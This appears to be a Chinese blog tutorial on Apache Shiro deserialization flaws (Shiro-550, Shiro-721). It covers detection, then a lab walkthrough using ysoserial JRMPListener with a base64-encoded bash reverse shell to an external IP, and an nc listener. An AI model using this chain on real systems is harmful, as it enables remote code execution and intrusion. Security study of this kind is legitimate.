赞
踩
1、Shiro概述
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。
2、Shiro历史漏洞(Shiro-550)
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的Cookie值,先进行base64解码然后AES序列化,就导致了反序列化RCE漏洞。
3、Shiro历史漏洞(Shiro-721)
由于Apache Shiro Cookie中通过AES-128-CBC模式加密的RememberMe字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的RememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
1、Shiro组件的识别
登录网站,输入身份信息,点击RememberMe之后,使用bp进行数据抓包,重定向到Repeater页面,发现Request页面里面的Set-Cookie:rememberMe=deleteMe,说明使用了Shiro组件。
![在这里插入图片描述](https://img-blog.csdnimg.cn/4c953f454c2941d1b2c5bd2548d7ceb9.png#pic_center
2、Shiro漏洞检测(dnslog)
使用ShiroScan检测URL地址,查看是否有漏洞,将分析结构展示在dnslog/ceye平台。
1、Shiro-550的利用(反弹shell)
使用nc监听一个端口,JavaRuntime配合bash编码(可以将管道符进行base64编码),在线编码地址: Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)
通过ysoserial中JRMP监听模块,监听一个端口并执行反弹shell命令。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “要执行的命令”。
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"
使用命令生成我们自己主机的cookie,然后复制到Shiro组件的请求体的Cookie那一块。
python shiro-cookie.py 192.168.130.137:1099
最后在本地监听1234端口,就拿到了靶机的权限了。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。